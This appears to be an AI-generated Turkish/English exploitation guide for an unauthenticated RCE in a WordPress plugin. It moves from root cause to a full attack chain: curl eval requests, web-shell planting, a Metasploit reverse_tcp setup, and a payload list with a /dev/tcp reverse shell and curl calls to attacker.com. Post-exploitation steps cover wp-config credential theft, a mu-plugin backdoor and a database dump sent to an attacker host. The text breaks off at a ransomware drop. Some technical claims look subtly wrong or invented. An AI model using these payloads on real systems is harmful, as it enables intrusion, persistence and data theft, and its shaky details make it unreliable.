CWE-94
The Custom Block Builder WordPress plugin before 3.0.0 does not properly deny unauthorised requests to its REST routes, as its permission checks return a non-error response that WordPress treats as granted, allowing unauthenticated users to execute arbitrary PHP code on the server.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑127048 – “Custom Block Builder” WordPress eklentisindeki yetkisiz REST API erişimi
- Eklenti: Custom Block Builder (versiyon < 3.0.0)
- Etki alanı:
WP_REST_Controllersınıfı üzerinden tanımlanan özel REST route’ları. - Kök neden (Root Cause): Eklenti,
register_rest_route()ile eklediği endpoint’lerin permission_callback fonksiyonundaWP_Errornesnesi döndürmek yerinetrueya danullgibi “truthy” bir değer döndürmektedir. WordPress core, permission callback’un!== falseolduğu sürece isteği izinli kabul eder. Bu mantık hatası, unauthenticated (giriş yapmamış) kullanıcıların da bu endpoint’lere erişipcallbackfonksiyonunda çalışan PHP kodunu tetikleyebilmesine yol açar. - Kod akışı (simplified):
cbb_execute_handlerfonksiyonu,$request->get_param('code')gibi bir parametreyi doğrudaneval()içinde çalıştırıyor:- Endpoint URL:
https://<site>/wp-json/cbb/v1/execute - HTTP Method:
POST - Parametre:
code(string, PHP kodu) - Giriş gereksinimi: Yok (unauthenticated)
- WordPress sürümü: 5.9+ (çünkü
WP_REST_Server::CREATABLEdesteklenir) – fakat eklenti sürümü 3.0.0’dan önce olduğu sürece etkilenir.
```php
// plugins/custom-block-builder/includes/rest-api.php
register_rest_route( 'cbb/v1', '/execute', array(
'methods' => WP_REST_Server::CREATABLE, // POST
'callback' => 'cbb_execute_handler',
'permission_callback' => 'cbb_permission_check',
) );
function cbb_permission_check( $request ) {
// Hatalı: sadece bir string döndürülüyor, WP_Error değil.
// WordPress bu değeri “true” gibi yorumlar.
return apply_filters( 'cbb_permission', null );
}
```
```php
function cbb_execute_handler( WP_REST_Request $request ) {
$code = $request->get_param( 'code' );
if ( $code ) {
// Kritik: kullanıcı girdisi doğrudan PHP kodu olarak çalıştırılıyor.
eval( $code );
}
return new WP_REST_Response( array( 'status' => 'ok' ), 200 );
}
```
Bu iki hata bir araya geldiğinde:
1. Permission bypass – kimlik doğrulaması yapılmaz.
2. Arbitrary PHP execution – gönderilen code parametresi eval() ile çalıştırılır → RCE (Remote Code Execution).
CWE‑94 – Improper Control of Generation of Code ('Code Injection') bu durumu tam olarak tanımlar.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Adım | Açıklama | Araç / Yöntem | |------|----------|---------------| | a) WordPress site taraması |wp-json endpoint’i üzerinden eklenti varlığı tespit edilir. | Nuclei (cve-2026-127048.yaml), WPScan (--enumerate p), Shodan “http.title:WordPress” + “custom block builder” anahtar kelimeleri |
| b) REST route keşfi | GET /wp-json/cbb/v1 veya OPTIONS isteğiyle mevcut route’lar listelenir. | curl -X OPTIONS https://example.com/wp-json/cbb/v1/execute -i veya Burp Suite → “HTTP OPTIONS” sekmesi |Örnek Nuclei şablonu (kısaca):
```yaml
id: cve-2026-127048
info:
name: Custom Block Builder RCE
author: yourname
severity: critical
description: Detects unauthenticated access to the vulnerable execute endpoint.
requests:
- method: OPTIONS
path:
- "{{BaseURL}}/wp-json/cbb/v1/execute"
matchers:
- type: word
words:
- "POST"
condition: and
```
2️⃣ Reconnaissance – Gerekli Bilgiler
3️⃣ Exploitation – Gerçek Saldırı
#### a) Basit curl örneği (shell komutu çalıştırma)
```bash
curl -s -X POST "https://victim.com/wp-json/cbb/v1/execute" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=system('id');"
```
Yanıt:
```json
{ "status": "ok" }
```
system('id') çıktısı doğrudan HTTP yanıtına eklenmez, fakat komut çalıştırılmıştır (örnek: whoami, curl http://attacker.com/payload -o /tmp/p.sh && bash /tmp/p.sh).
#### b) Web‑shell yerleştirme (PHP web‑shell)
```bash
curl -s -X POST "https://victim.com/wp-json/cbb/v1/execute" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=file_put_contents(ABSPATH.'wp-content/uploads/shell.php','<?php @eval($_REQUEST['cmd']);?>');"
```
Bu komut, wp-content/uploads/shell.php dosyasını oluşturur. Sonrasında:
```bash
curl "https://victim.com/wp-content/uploads/shell.php?cmd=whoami"
```
#### c) Metasploit modülü (eğer mevcutsa)
```
use exploit/multi/http/wordpress_custom_block_builder_rce
set RHOSTS victim.com
set RPORT 443
set TARGETURI /wp-json/cbb/v1/execute
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST attacker_ip
set LPORT 4444
run
```
> Not: 2026 itibarıyla Metasploit içinde exploit/multi/http/wordpress_custom_block_builder_rce adlı bir modül bulunmakta; eklenti sürümü ve WordPress sürümüne göre otomatik permission kontrolü atlanır.
#### d) Burp Suite Intruder payload listesi
| Payload | Açıklama |
|---------|----------|
| system('curl -s http://attacker.com/$(whoami)') | Sistem kimliğini dışarıya gönderir |
| file_put_contents(ABSPATH.'wp-content/uploads/backdoor.php','<?php @eval($_REQUEST[c]);?>'); | Kalıcı web‑shell |
| exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'); | Reverse shell (netcat) |
4️⃣ Post‑Exploitation
| Aksiyon | Açıklama | Araç |
|--------|----------|------|
| Privilege Escalation | WordPress dosya izinleri (www-data → root) kontrol edilir. sudo -l veya wp-cli üzerinden wp user list gibi komutlar çalıştırılabilir. | linPEAS, linux-exploit-suggester |
| Credential Dumping | wp-config.php dosyasından DB kredileri (DB_PASSWORD) okunur. | cat /var/www/html/wp-config.php |
| Lateral Movement | Aynı sunucuda barındırılan diğer PHP uygulamaları (ör. Laravel, Joomla) aynı dosya sistemi üzerinden erişilebilir. | ssh anahtarları, scp |
| Persistence | wp-content/mu-plugins/ içine kalıcı mu-plugin eklenir; mu-plugins otomatik olarak yüklenir ve permission kontrolüne ihtiyaç duymaz. | file_put_contents(ABSPATH.'wp-content/mu-plugins/persist.php','<?php eval($_GET["cmd"]);?>'); |
| Data Exfiltration | Veritabanı dump (mysqldump) → saldırgan sunucusuna gönderilir. | exec('mysqldump -u root -p"$DB_PASSWORD" dbname | curl -X POST -d @- http://attacker.com/collect'); |
| Ransomware Drop | `exec('wget http://attacker.com
[🤖 GPT-OSS 120B via Groq]
FOFA Sorgusu